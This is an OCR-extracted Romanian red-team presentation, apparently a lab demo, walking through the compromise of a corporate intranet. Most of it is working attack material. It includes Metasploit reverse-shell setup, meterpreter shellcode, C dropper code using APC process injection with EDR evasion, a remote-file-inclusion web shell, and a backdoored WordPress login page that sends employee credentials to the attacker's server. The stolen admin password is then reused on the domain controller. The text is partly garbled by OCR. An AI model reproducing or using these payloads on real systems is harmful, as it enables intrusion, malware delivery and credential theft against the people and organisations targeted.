


CE ESTE TEAMING-UL?-

Red teaming-ul este o metodd in domeniul securitdtii cibernetice, care implicd
simularea atacurilor cibernetice pentru a evalua eficienta madsurilor de apdrare
ale unei organizatii. Echipele de red team, formate din hackeri etici, actioneazd

ca atacatori pentru a identifica si exploata vulnerabilitatile sistemelor

informatice.







Vom compromite o aplicatie de intranet din cadrul unei corporatii, obbtindnd

credentialele tuturor angajatilor prin accesul la masina unei victime.
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PLANUL ATACULUI




Cream un macro-enabled document compromis care va executa comenzi-
de Visual Basic.

Victima descarca dropper-ului prin accesarea documentului infectat.

Malware-ul ne va permite obtinerea unui reverse shell pe masina victimei

prin metasploit.

O sa incercam sa inlocuim pagina de logare a website-ului la care victima

are acces cu o clona care va redirectiona credentialele catre atacator.

Cu credentialele furate putem face brute force pe mai multe asset-uri




SETUP




Deschidem consola framework-ului Metasploit.

E(ka"li@ kali)-[~]
$

msfconsole

Utiliza&m modulul multi/handler.

msf6 > use exploit/multi/handler
[#] Using configured payload generic/shell_reverse_tcp

Setam modul staged pentru payload.

msf6 Ekpluit{ - } » set payload windows/x64/meterpreter/reverse_tcp

payload = windows/x64/meterpreter/reverse_tcp



Setam IP-ul hostului unde se va rula listener-ul pentru reverse shell.

msf6 exploit( ) > set lhost 192.168.1.144
lhost = 192.168.1.144

Analog, setam si portul unde va asculta.

msf6 exploit( )} » set lport 8080
lport = 8080

Cream o cheie privata si una publica.

E(kali@ kali)-[~]
$

openssl req -new -x509 -nodes -out cert.crt -keyout priv.key



Certificatul si cheia privata vor fi adaugate in nasa.pem.

L—I[ka"l.i@ kali)-[~]
$ cat priv.key cert.crt > nasa.penfj

L—( Kali® kali)-[~/Desktop]
S cat  nasa.pem

BEGIN PRIVATE KEY——
MIIEvgIBADANBgkqhkiGIwOBAQEFAASCBKgWEgSKAZEAAOTBAQCFZZOEDrX9AROK
e70dD421Y4c3qV0Z8wIIB3Xjef JCAL+IGVtdFP+FsaZHqfApScWELNdJ+BnQdpth
ZtqRg755)poQgMiddb6Bf+0gCxL+FuPMlt1CxCo3md1PIsf6GVYAHIWDUEXBVGDS
wW55G2YK7bHPerYVcQKC6T6IHDBgXGLmvRI0hZ1LmPgySxPXa9aQrR5xIUQfhRpDSq
yb@ov1VTQM)s4maUTzDgZZIDtmptpyM/SXxhMIERQ7GIDNEIpOGEsUFIChfK/bFWE
PS63bH2ZEQIGWKHOfBViUjZ6IMSaNuzsqalepdKchRXYoaf2NuSnXh2dtSHqChSo
EvfDph/3AgMBAAECEGEAL/rPIvGIVBaBmBYuBOEt /gELDxxC4pBOoXkc8KRFLE+SC
fcOHP/pXAfAlyayHVDONWbMLO8qvDX0fCA3QaBITNTIQpdXUShn9GeqréowIpst+
1+XQBWTY3BrRbL03qqrevITSWXxf+7iwrUXKLuELtFpKq9gTi3BIEChpEI6CYTMB
D1lmgurzEr8r1IxLDYpFr4Zlw7SF/+ZaeEA210gSs64qvm/fZvSZ@brhKya6r200
4krq2VgtyA+0BSkxwC+hUcO04ufTqWiLINCLzvQ62yH1chbhjoIACXs113VMGgz6
Vywk3wxYVtvSEOtHMOYS8mulskBxKHYvIDoiPr+KwQKBgQDga7 FPUBBMZc2kdbOh
P+gw/mqs7vbCTzpsPUWavPqmrRgcrFmG7mdQdXKdK/c3Ax7thxU2aXMixozCSZIv
25Ay90Q+hR3huDEMEC52VyX7TvQo461VLYa4FFaRWXTYg6H20nsKHLYM3iszewPa
H8SV1le7to2pyNwoOmWmEMcMt 10QKBEQC2S jRHVIdZO0y7eA8ZzgXgSS3MpSa0dSuvGs
R6GWQXPvCcVBBOK4R69/GQAPROXDVIZTFvF1TWLL/BCvrtuCrC/uoIKS8XINDMTMU
612fcyplhPkMwrUIKPx45+PmJ4 jy3gx0QnzWspQz40U0V135kgx9 ILVNbWOLmY X9
WCbLwzOT1wKBgDWCD+NZUUIcZmR3ZITVdczD+tpK+4hxjvmgWIZLueoflrbODuxZ
ix6kiQU14HDBUN/Kowltn0/Lj4/UBGEMYiA+A10EV)0091S1SVIMEC3mqrrURUSY
9JCgPSWx2QCcEg7hsSy/Cih5r6uQVTNaE@KBWKsKa0gmqQz8Vb7x2jCBAOGBAKeR
RsVeRjsy6DSGGBRIIMMWGYVUWLZI6r2Pel15ejINLDY+0Fvf6bIX6AKIe02ZYYqZz
027+Vm1XBcjEb3pMpaVHMu452CYoD+D189JjN1HID11gjtqzNoKeB6OGIgm+3Ivy
ondp6TpZblimSoikbLENCeYo9INh6aEdAXUkBzB85A0GBAKVba2Xdj4+YmPAKDZ1v
bI+emtDUHCFTGB8mEgVNx2DLiaD1/znff2NPv1kbXGFOnQzIYFKNOUYpZVA6ZpiIVu
YW6bh1KOdN72gV5bRgIVt2mnI9L6ce2H/5qtyzyqqa4al980PWp56vPLmZ74bhp2
MCC905vkmHt IDVKYUzXdAF6p

END PRIVATE KEY—

——BEGIN CERTIFICATE
MIIDOTCCArmgAwIBAgIUOSEWjkaCV37XNCWFRIRC+IfORWkwDQYIKoZIhvCeNAQEL
BQAweDELMAKGA1UEBhMCUKSXE JAQBgNVBAgMCUJI1Y2hhecmVzdDESMBAGA1UEBwWw]
QLVDSEFSRVNUMQuwCgYDVQQKDANKZmc xDDAKBENVBASMAZRmZ ZENMASGATUEAWWE
€3NkZjEWMBQGCSqGSIb3DQEJARYHZGRALMNVDTAe FwOyNDEWMDUXMTM4M ) Ba Fwoy
NDEXMDQxMTM4MjBaMHgxCzAJBENVBAYTALJPMRIWEAYDVQQIDALCAWNOYXI1c3Qx
EJAQBgNVBACMCUIVQOhBUKVTVDEMMAOGA1UECEWDZGZnMQwwCgYDVQQLDANKZmC X
DTALBENVBAMMBHNZZGYxF jJAUBgkghk iGIwOBCQEWB2RKQCS jb20wggEiMABGCSQG
SIb3DQEBAQUAA4IBDwAWgEEKAOIBAQCZZOEDrx9AR0Ke70dD421Y4c3qV0Z8wI]
B3XjefjCAL+IGVtdFP+FsaZHqfApScWELndJ+BnQdpthztqRg755)poQgMiddb6B
f+0gCxL+FuPM1t1CxCo3md1PIs f6GVYAHIWDUEXBYGDSWS5G2YK7bHPerYVcQKCo
T6IHDBgXGlmvRIohZ1LmPgySxPXa9aQR5xIUQfhRpDSqybOov1VTQMjs4maUTzDq
ZZIDtmptpyM/SxhMIEhQ7GIDNEIPOG8sUFIChfK/bFWtPS63bH2ZEQIGWKHOFBVL




Setam fisierul nasa.pem in modulul Metasploit, cu certificatul si cheia privata create.

msf6 exploit( ) > set HandlerSSLCert /home/kali/Desktop/nasa.pem
HandlersSLCert = /home/kali/Desktop/nasa.pem

Activam verificarea autenticitatii certificatului.

msf6 exploit( )} » set StagerVerifySSLCert true




Verificam configuratiile

msf6 exploit( (1) > show options

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.144 yes The listen address (an interface may be specified)

LPORT 8080 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

Pornim listener-ul de reverse shell.

msf6 exploit( } > run

[#] Started reverse TCP handler on 192.168.1.144:8080
|




Generam bytes-ii shellcode-ului aferent arhitecturii x64 ca mai apoi
sa ii criptam pentru a evita detectia EDR-ului.

E(kali@ kali)-[~]
£ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.144 LPORT=8080 StagerVerifySSLCert=true HandlerSsLCe
rt=/home/kali/Desktop/nasa.pem -f ¢ -o output.c

L—(kali@ kali)-[~]

S cat output.c

unsigned char buf[] =
“\xfc\x48\x83\xes\xfo\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x48\x8b\x52\x18"
"\x48\x8b\x52\x20\x56\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7¢c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x8b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"”
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x8b\x48\x18\x49\x01"
"\xd0\x50\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9"
"\x48\x01\xd6\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01\xc1"”
"\x38\xe@\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd@\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xed\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x1f\x90\xcO\xa8\x01\x90\x41\x54"
"\x49\x89\xes\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07 \xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xcO\x48\x89\xc2\x48\xff\xcO\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xed\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"










BUILDING THE DROPPER




Decriptam shellcode-ul.

char* shellcode = Decryp‘i:trshellcnde, shellcodeSize . ;“'];

Cream o sectiune in memoria procesului.

NTSTATUS status = ntCreateSection(
&hSection, // handle-ul sectiunii
SECTION_ALL_ACCESS,
NULL,
&szSection, // wmarimea sectiunii create
PAGE_EXECUTE_READWRITE, // permisiuni — RWX
SEC_COMMIT, // pornim atributul commit
NULL);

Mapam sectiunea pentru a avea acces la ea si copiem bytes-ii shellcode-ului in sectiunea de
memorie

status = ntMapViewOfSection(
hSection,
GetCurrentProcess(), // specificam handle-ul procesului curent
&hLocalAddress,
NULL,
NULL,
NULL,
&GviewSize,
ViewShare,
NULL,
PAGE_EXECUTE_READWRITE) ;

RtlCopyMemory(hLocalAddress, shellcode, shellcodeSize);



Cream procesul copil si mapam procesului copil aceeasi
sectiune de memorie.

success = CreateProcess(
NULL,
cmd,
NULL,
NULL,
FALSE, // daca handle-ul va fi mostenit de la procesul parinte
CREATE_SUSPENDED,
NULL,
NULL,
si, // pointer la STARTUPINFO sau STARTUPINFOEX - necesar
pi); // pointer la PROCESS_INFORMATION - necesar

status = ntMapViewOfSection(
hSection,
pi—>hProcess, // specificam handle-ul procesului tinta
LhRemoteAddress,
NULL,
NULL,
NULL,+
GviewSize,
ViewShare,
NULL,
PAGE_EXECUTE_READWRITE);



Procesul copil poate rula shellcode-ul injectat si sectiunea de memorie creata este
demapata din procesul parinte.

QueuelserAPC(
(PAPCFUNC)hRemoteAddress, // pointer catre functia executata ca shellcode
pi—>hThread, // handle-ul thread-ului
e

);

ResumeThread(pi->hThread);

status = ntUnmapViewOfSection(
GetCurrentProcess(),
hLocalAddress);




@ C:\Users\victor\Documents\G X o v L6

e 5 [+] Created process with PID: 1724
A1 Droeper Sl [+] Thread ID: 18168

&) Dropper.pdb

msf6 exploit( } > run

[*#] started reverse TCP handler on 192.168.1.144:8088
[*] Sending stage (201798 bytes) to 192.168.1.145
[*] Meterpreter sessionm 8 opened (192.168.1.144:8080 — 192.168.1.145:52695) at 2024-10-06 16:49:11 -0400

meterpreter > dir
Listing: C:%Users‘wvictor\Documents'GitHub\Custom-CZ-Framework4Utils\Dropperix64yRelease

Mode Size Type Last modified Name

100777 /rwxrwxrwx 18944  fil  2024-10-05 10:01:@8 -04@80 Dropper.exe
100666/ Tw-rw-rw—- 913408 fil  2024-10-05 10:01:08 -0400 Dropper.pdb

meterpreter > |




Pregatim serverul de descarcare.

I_—( alids | J=[~/Desktop

python? -m http.server 8881
Serving HTTP on ©.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
|

Executabilul a fost creat, testat si uploadat pe server.

«— O A Notsecure | 192.168.1.144:5021

Directory listing for /

» Dropperexe




COMPROMISING THE .DOC FILE




Project » Normal

=

B Normal

24 Project (Trust-now

iment is 100 imy




TIME FOR REVERSE SHELL




Dropper-ul a fost descarcat si executat cu succes.

E(ka‘li@ lkali)-[~/Desktop/dropper]
$

python3

Serving HTTP on @

192.168.1.145 -
192.168.1.145 -
192.168.1.145 -

Si am obtinut un reverse shell pe masina victimei.

msf6 exploit(

http.server 8081
.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

[@6/0ct/2@24 17:46:55] "GET / HTTP/1.1" 200 -
[@6/0ct/2@24 17:47:15] "GET / HTTP/1.1" 200 -
[06/0ct/2024 17:50:16] "GET /Dropper.exe HTTP/1.1" 200 -

') > run

[*] Started reverse TCP handler on 192.168.1.144:8080
[*] Sending stage (201798 bytes) to 192.168.1.145

[*] Meterpreter session 8 opened (192.168.1.144:8080 — 192.168.1.145:52695) at 2024-10-06 16:49:11 -0400

> dir

Listing: C:\Users\victor\Documents\GitHub\Custom-C2-Framework\Utils\Dropper\x64\Release

Mode

100777 /Twxrwxrwx
100666/ rw-rw-rw-

meterpreter > i

Size
18944
913408

Type
fil
fil

Last modified

2024-10-05 10:01:08 -0400
2024-10-05 10:01:08 -0400

Name
Dropper.exe
Dropper.pdb




FURTHER ACCESS
/WEB ATTACK




* Configuram un proxy pe masina compromisa.
* Redirectionam traficul prin masina noastra folosind SSH.

* Folosim proxychains pentru accesul intern in retea.

Internal
network

Local Remote ‘
Machine machine ) VJ ) V
(=2
< —>t= —
_'IJ - el

- Docker - SSH
- Port Forwarding - No admin rights
- Tools for testing




Acum ca avem acces la reteaua hostului compromis, putem folosi tool-uri precum
CrackMapExec pentru a enumera serviciile existente. lata ce am descoperit:

. : Aplicatie web accesata de catre angajati.

* 192.168.109.110: Adresa locala a controlerului de domeniu.



http://192.168.109.63

Acum ca stim de existenta aplicatiei web unde angajatii se autentifica:
* Vom incerca sa realizam un atac Man-in-the-Middle, scopul fiind capturarea a
cdt mai multor credentiale

* Vom presupune ca exista victime care refolosesc parolele pentru alte servicii.




& Mega Corp Company Por' X +

€ - C @ O & 192.168.109.63 o

Kali Linux @ Kali Tools = Kali Docs X Kall Forums ¢ Kali NetHunter » Exploit-DB = Google Hacking DB OffSec

Mega Corp Company Portal Sample Page

A commitment to inhovation
and sustainability

Etudes i firm that seam
f

De indata ce putem accesa aplicatia web de pe masina noastra, putem
incepe assessmentul.




Vom folosi tool-ul WPScan pentru a gasi informatii pe care le putem

exploata.
[:—fpatrickﬁikaly]-[HfDesktopfdenofserver]
% sudo wpscan —url http://192.168.109.63
[sudo] password for patrick:
\ A Il N/ [
AV AN A [ DD T I G
AV VA A Y A W W A A Y
Noa /S ) 20 I G I B I
v vl I AN Ih L1

WordPress Security Scanner by the WPScan Team
Version 3.8.20
Sponsored by Automattic - https://automattic.com/
f_WPscan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://192.168.1089.63/ [192.168.109.63]
[+] Started: Tue Oct 8 10:49:27 2024



Tipul si versiunea serverului web, precum si sistemul de operare al hostului.

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.4.12
| - X-Powered-By: PHP/7.4.12
| Found By: Headers (Passive Detection)
| Confidence: 100%

Prezenta unui plugin third-party de WordPress care ar putea reprezenta o vulnerabilitate.

[+] hackout-talks
| Location: http://192.168.109.63/wp-content/plugins/hackout-talks/

Found By: Urls In Homepage (Passive Detection)
Confirmed By: Urls In 404 Page (Passive Detection)

Version: 4.3 (88% confidence)
Found By: Readme - Stable Tag (Aggressive Detection)

I
I
I
I
I
I
| - http://192.168.109.63/wp-content/plugins/hackout-talks/readme.txt



Analizand pluginul, observam utilizarea functiei PHP require_once.

@ 192.168.109.63/wp-conte X +

« -5 C @ O A& 192.168.109.63/wp-content/plugins/hackout-talks/ kg ()

KaliLinux # KaliTools ¢ KaliDocs ¥ KaliForums e\ Kali NetHunter = Exploit-DB % Google HackingDB /' OffSec

Notice: Undefined index: file in C:\xampp\htdocs\wp-content\plugins\hackout-talks\index.php on line 2

Warning: require once(C:\xampp\php\pear): failed to open stream: Permission denied in C:\xampp\htdocs\wp-
content\plugins\hackout-talks\index.php on line 2

Fatal error: require once(): Failed opening required " (include path='C:\xampp\php\PEAR') in C:\xampp\htdocs\wp-
content\plugins\hackout-talks\index.php on line 2

Aceasta sugereaza o posibilitate de Remote File Inclusion (RFI).



Validam posibilitatea executarii unui cod extern si furnizam un URL la alegere
ca input pentru parametrul ,file”.

Hackout | Portalul Atacur X [ URL Encode and Decode - X Hackout | Portalul Atacur X +

€ =2 C 0 O a8 192.168.109.63/wp-content/plugins/hackout-talks/?file=https://hackout.ro/
Kali Linux #8 Kali Tools @ Kali Docs ﬁKaliFomms‘ « Kali NetHunter = Exploit-DB QGoogleHackingDE 1l OffSec

414 HACKOUT | % NOUTATI  VERIFICA  TALKS  CURSGRATUIT %

Suntem aici sa te ajutam!

Portalul Atacurilor
Cibernetice din Romania

Aici vei gasi informatii despre ultimele atacuri informatice precum si metode de a te proteja
impotriva acestora atat pe internet cat si in viata de zi cu zi.

Sustine proiectul nostru!

~ 0 s



Incercdm s& includem un script simplu de PHP, care mai apoi ne va permite s
executam comenzi pe hostul site-ului.

shell.php X

1 <7php
2 system($ GET["cmd"]);
3




Site-ul executa cu succes scriptul de pe serverul nostru.

& 192168.109.63/wp-contc * @ URLEncode and Decode x  +

C @ O & 192.168.109.63/wp-content/plugins/hackout

Ishell.php&cmd=d

« =

KaliLinux @ KaliTools @ KaliDocs N Kali Forums o Kali NetHunter = Exploit-DB % Google Hacking DB /| OffSec

includes 10/06 1dex
languages 08/30 24 1 ! ( ICE - J
978 bytes 6 Dir(s) 73,429,233,664 bytes free

public 08/30/2024 l(:i.:

File Actions Edit View Help

—lpatrick® kaly)-[~/Desktop/demo/server |

3% python3 http.server 8081

Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/)
192.168.109.63 - - [08/0ct/2024 11:22:59] code 404, message File not found
192.168.109.63 - - [08/0ct/2024 11:22:59] "GET /shell.phpocmd=dir HTTP/1.0" 404 -

192.168.109.63 - - [08/0ct/2024 11:23:15] "GET /shell.php HTTP/1.0" 200 -

Aceasta ne permite sa analizam directoarele site-ului.




Explorand directoarele site-ului observam ca site-ul este construit in WordPress si

existenta fisierului wp-login.php.
© 192168109.63/wp-conts ¥ [ URLEncode and Decode *  +

€ > C @ O & 192168.109.63/w;

KaliLinux @ KaliTools ' KaliDocs N Kali Forums o Kali NetHunter = Exploit-DB = Google Hacking DB

in drive C has no label. V& 1e Serial Number
4 06:03 PM
4 06:13 PM 523 .htaccess 0
admin 02/06/2020 0¢
PM
wp-content

is 4ACD-743F Directory of C:

\ttp://192,168.109.44:8081/shell. php&emd=d s
| OffSec
24 07:54 PM

xampp\htdocs 10/04

24 12:02 AM 19,915 license.txt 09/11/2024 07:40 PM 7,409 readme.html 02/1 2:19PM 7

-comments-post.php 03/11/2024 02:08 PM 3,033 wp-config-sample.php 08/29/2024 06:10 PM

06:07 PM

03/11/2024 10:05 AM 3,93
php 06/19/2023 06

/2024 11:13 AM 51
signup.php 0€

wp-activate.|

) 08/29/2024 06:08

php 09/16/2023
6 xmirpc.php




Incercam sa pregatim un script malitios.

. _m s 'n 1 :'.‘:_:\“:hn 2 0
File Edit Search View Document Help

Bt HCx e xBhO Qgn 0
wp-login.php x comenzi x

1502

1503

1504 <form name="loginform" id="loginform® action="http://192.168.109.44:5081/wp-login.php® method="get">

1505 p

1506 label for="user_login"><’php _el 'Username or Email Address' ); 4

1507 <input type="text® name="log" id="user_login"<7php echo Saria_descril > class="input” value="<?php echo esc_attr( Suser login ); 7>* size="20"

autocapitalize="off" autocomplete="username" required="required” />

1508

1509

1510 div class="user-pass-wrap"

1511 <label for="user_pass"><?php _e( 'Password' ); ?></label>

1512 <div class="wp-pwd">

1513 input types="password" name="pwd" id="user_pass”"<7php echo Saria_describedby; 7> class="input password-input® value="" size="20"

autocomplete="current-password” spellcheck="false" required="required" /

1514 <button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<’php esc_attr_e{ 'Show password' ); *»"

1515 span class="dashicons dashicons-visibility" aria-hidden="true"></span

1516 /button>

1517 </div

1518 T

1519

1520

Scriptul va inlocui scriptul de login si va redirectiona credentialele catre noi.




Manipulam hostul site-ului sa descarce noul script din serverul nostru.

O & 192.168.109.63/wp-content/plugins/hackout-talks/?file=http://192.168.109.44:8081/shell.php&cmd=curl http%3A%2F%2F192.168.109.44%3A8081%2Fwp-login.php -0 ..\..\..\wp-login.php

s N KaliForums e\ Kali NetHunter = Exploit-DB = Google Hacking DB ! OffSec
£l patrick@kaly: ~/Desktop/demo/server
File Actions Edit View Help

[:—(patrickEBkaly)-[~/Dosktop/delo/server]
$ python3 -m http.server 8081

Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

192.168.109.63 [08/0ct/2024 11:22:59] code 404, message File not found
192.168.109.63 [e8/0ct/2024 11:22:59] "GET /shell.php&cmd=dir HTTP/1.0" 404 -
192.168.109.63 [08/0ct/2024 11:23:15] "GET /shell.php HTTP/1.0" 200 -
192.168.109.63 [08/0ct/2024 11:24:28] "GET /shell.php HTTP/1.0" 200 -
192.168.109.63 [08/0ct/2024 11:24:35] "GET /shell.php HTTP/1.0" 200 -
192.168.109.63 [08/0ct/2024 11:24:52] "GET /shell.php HTTP/1.0" 200 -
192.168.109.44 [08/0ct/2024 11:28:41] "GET / HTTP/1.1" 200 -

192.168.109.44 [e8/0ct/2024 11:29:16] "GET / HTTP/1.1" 200 -

192.168.109.63 [08/0ct/2024 11:41:10] "GET /shell.php HTTP/1.0" 200 -
192.168.109.63 - [08/0ct/2024 11:41:11] "GET /wp-login.php HTTP/1.1" 200 -

w

()




Am reusit sa Tnlocuim scriptul de login cu succes.

O A 192.168.109.63/wp-|

Docs N KaliForums o Kali NetHunter = Exploit-DB % Google Hacking DB OffSec

Acum asteptam angajatii sa se logheze.



LET'S STEAL SOME
CREDENTIALS




D patrick@kaly: ~/Desktop/demo/server

File Actions Edit View Help

atrick® kaly)-[~/Desktop/demo/server ]
“—% python3 http.server 8081

Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

192.168.109.63 - - [08/0ct/2024 11:22:59] code 404, message File not found

192.168.109.63 [e8/0ct/2024 :22:59] "GET /shell.php&cmd=dir HTTP/1.0" 404 -

192.168.109.63 [e8/0ct/2024 :23:15) "GET /shell.php HTTP/1.0" 200 -

192.168.109.63 [08/0ct/2024 :24:28] "GET /shell.php HTTP/1.0" 200 -

192.168.109.63 [e8/0ct/2024 £24:35] "GET /shell.php HTTP/1.0" 200 -

192.168.109.63 [08/0ct/2024 124:52] "GET /shell.php HTTP/1.0" 200 -

192.168.109.44 [e8/0ct/2024 :28:41] "GET / HTTP/1.1" 200 -

192.168.109.44 [e8/0ct/2024 $29:16] "GET / HTTP/1.1" 200 -

192.168.109.63 [@8/0ct/2024 :41:10] "GET /shell.php HTTP/1.0" 200 -

192.168.109.63 [08/0ct/2024 11:41:11] "GET /wp-login.php HTTP/1.1" 200 -

192.168.109.44 [08/0ct /2024 11:54:00] "GET /wp-login.php?log=adminGpwd=B%262WsHX25MKSt6UACETrpbwp-submit=Log+InGredirect_to=httpX3A%2F%2F192.168.109
%2Fwp-admin¥2F&testcookie=1 HTTP/1.1" 200 -

Prima victima a cazut Tn capcana.(credentialele sunt primite in format URL)




Acum o sa Decodam logurile pentru a obtine credentialele in format text.

Decode from URL-encoded format

e decode

admin&pwd=B%262WsH%25MKSt6UAoErp&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.109%2Fwp-admin%2F&testcookie=1

v Source character set.
Decode each line separately (useful for when you have multiple entries).

@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).
< D o) 8 B Decodes your data into the area below.

admin&pwd=B&2WsH%MKSt6UAoErp&wp-submit=Log+In&redirect_to=http://192.168.109/wp-admin/&testcookie=1




Cu ajutorul tool-ului CrackMapExec, putem accesa domain controller-ul si folosi credentialele
administratorului.

( -~ /usr/local/bin

L~y crackmapexec smb -u Administrator -p 'B&E2WsHYXMKSt6UAoErp' -x "whoami /all" 192.168.109.110

/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
"class™: algorithms.Blowfish,

=

SMB 192.168.109.110 445 LABORATORDCO®1  [+] Windows Server 2022 Build 20348 x64 (name:LABORATORDCOO1) (domain:laborator.expertware.net) (signing:True) (SMBv1:False)
SKe 192.168.109.110 445 LABORATORDCOO1 [+] laborator.expertware.net\Administrator:B&2WsHXMKSt6UACErp (Pwn3d!)

SMB 192.168.109.110 445 LABORATORDCO®1 [+] Executed command

SMB 192.168.109.110 445 LABORATORDCOO1 USER INFORMATION

SMB 192.168.109.110 445 LABORATORDCOO1 ——

SMB 192.168.109.110 445 LABORATORDCOO1

SMB 192.168.109.110 445 LABORATORDCOO1  User Name SID

SMB 192.168.109.110 445 LABORATORDCOO1

SMB 192.168.109.110 445 LABORATORDCOO1 laborator\administrator S$-1-5-21-3984308457-893019547-1318345865-500

SMB 192.168.109.110 445 LABORATORDCOO1




Putem analiza grupurile si privilegiile utilizatorului.
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LABORATORDCOO1

LABORATORDCO@1  GROUP INFORMATION

L 001

LABORATORDCEQ1

LABORATORDCOR]  Group Name Type SID Attributes

L 001

LABORATORDCOR1  Everyone Woll-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
LABORATORDCO01  BUILTIN\Administrators Alias 5-1-5-32-544 Mandatory growp, Enabled by default, Enabled group, Group owner
LABORATORDCE01  BUILTIN\Users Alias $-1-5-32-545 Mandatory group, Enabled by default, Enabled group
LABORATORDCOR]  BUILTIN\Pre-Windows 2000 Compatible Access Alias 5~1-5-32-554 Mandatory group, Enabled by default, Enabled group
LABORATORDCOO1  NT AUTHORITY\NETWORK Well-known group $-1-5-2 Mandatory group, Enabled by default, Enabled group
LABORATORDCO@1  NT AUTHORITY\Authenticated Users Woll-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
LABORATOROCOO1  NT AUTHORITY\This Organization Woll-known group 5-1-5-15 Mandatory growp, Enabled by default, Enabled group
L 001 L ODomain Admins Group $-1-5-21-3984308457-893019547-1318345865-512 Mandatory group, Enabled by default, Enabled group
LABORATORDCO®1  LABORATOR\Group Policy Creator Owners Group 5+1-5-21-3984308457-893019547-1318345865-520 Mandatory group, Enabled by default, Enabled group
v 001 L Schema Admins Group $~1-5-21-3984308457-893019547-1318345865-518 Mandatory group, Enabled by default, Enabled group
LABORATORDCOO1  LABORATOR\Enterprise Admins Group 5-1-5-21-3984308457-893019547-1318345865-519 Mandatory group, Enabled by doefault, Enabled group
L 001 L Denied RODC Replication Group Alias 5-1-5-21-3984308457-893019547-1318345865-572 Mandatory group, Enabled by default, Enabled group, Local Group
t 001 NT TY\NTLM ication Well-known group 5-1-5-64-10 Mandatory group, Enabled by default, Enabled group
LABORATORDCOR1  Mandatory Label\High Mandatory Level Label 5-1-16-12288

LABORATORDCOO1

LABORATORDCOO1

LABORATORDCOO1  PRIVILEGES INFORMATION

LABORATORDCEO1 —m—————————

LABORATORDCOR1

LABORATORDCOO1  Privilege Name Description State

LABORATORDCOO1

L 001 Selncr ivilege Adjust memory quotas for a process Enabled

LABORATORDC@O1  SeMachineAccountPrivilege Add workstations to domain Enabled

LABORATORDCOD1  SeSecurityPrivilege Manage auditing and security log Enabled

LABORATORDCOO1  SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled

L RDCO01  SeloadDriverPrivilege Load and unload device drivers Enabled

LABORATORDCO®1  SeSystesProfilePrivilege Profile system performance Enabled

L 001  SeSy imePrivilege Change the systom time Enabled

LABORATORDCOO1  SeProfileSingleProcessPrivilege Profile single process Enabled

LABORATORDCO®1  SelncreaseBasePriorityPrivilege Increase scheduling priority Enabled

LABORATORDCO01  SeCreatePagefilePrivilege Create a pagefile Enabled

L IRDCOD1 ivilege Back up files and directories Enabled

L 001 rivilege Restore files and directories Enabled

L 001 d rivilege Shut down the system Enabled

LABORATORDCO®1  SeDebugPrivilege Debug programs Enabled

L 001 Y i rivilege Modify firmware environment values Enabled

LABORATORDCO®1  SeChangeNotifyPrivilege Bypass traverse checking Enabled

L 001 hutd ivilege Force shutdown from a romote systom Enabled

L 001  SeUnd ivilege Remove computer from docking station Enabled

LABORATORDCE01  SeEnableDelegationPrivilege Enable and user to be trusted for delegation Enabled

L 201 gevol rivilege Perform volume maintenance tasks Enabled

LABORATORDCO81  SelmporsonatePrivilege Impersonate a client after authentication Enabled

LABORATORDC@01  SeCreateGlobalPrivilege Create global objects Enabled







CE ESTE = LU TEAMING-UL.-

Blue teaming-ul se referd la o abordare in domeniul securitdtii cibernetice, care
implicd activitdti de apdrare impotriva atacurilor cibernetice. Acesta este un
termen folosit pentru a descrie echipele sau grupurile care se concentreazd pe

protejarea sistemelor informatice, retelelor si datelor impotriva amenintdrilor

externe si interne.




Endpoint Detection and Response (EDR) este o solutie de securitate cibernetica care
